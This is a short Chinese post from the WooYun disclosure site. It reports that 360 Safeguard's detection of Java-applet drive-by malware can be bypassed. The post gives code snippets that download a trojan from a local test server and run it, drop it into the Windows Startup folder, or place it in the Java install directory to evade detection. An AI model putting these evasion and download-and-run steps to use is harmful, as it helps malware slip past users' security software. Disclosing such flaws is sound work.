WooYun.org

前几天不小心看360安全卫士有对jre漏洞挂马做拦截，所以想绕过，测试了一下！

//之前，有发过给你们邮箱，说附件太大没收到。发网盘后再发邮件给你们就没消息了，效率太低了，还是发乌云效率高点，看看是不是漏洞？漏洞赏金没有，看能不能刷点rank!
//之前邮件描述：
360安全卫士最近对jre漏洞浏览器Applet挂马攻击有做行为检测，如图：

但检测存在缺陷以及直接绕过情况，简单测试步骤（详细测试视频和其他相关文件及信息在附件）：
             1、如果直接下载，然后就运行木马就是上图的情况，被拦截：
 
             this.downLoad("http://127.0.0.1:8080/360.exe", "C:/Program Files/360.exe");//下载木马
             this.runFile("C:/Program Files/360.exe");//运行
 
            2、在第1步中，是下载木马到本地，然后运行会被拦截，检测规则是两部分相加流程的行为。但如果只下载木马，360却不会拦截，那如果木马下载到系统启动目录，也不拦截，就有点问题了，所以这是个比较严重的规则缺陷：
 
    this.downLoad("http://127.0.0.1:8080/360.exe", "C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/360.exe");//下载木马
 
           3、把木马下载到java安装目录，然后再运行，就直接绕过现有行为检测：
 
      this.downLoad("http://127.0.0.1:8080/360.exe", "C:/Program Files/Java/360.exe");//下载木马
      this.runFile("C:/Program Files/Java/360.exe");//运行
之前邮件附件的网盘地址：
http://pan.baidu.com/share/link?shareid=450929&uk=3961677986
密码：r0vm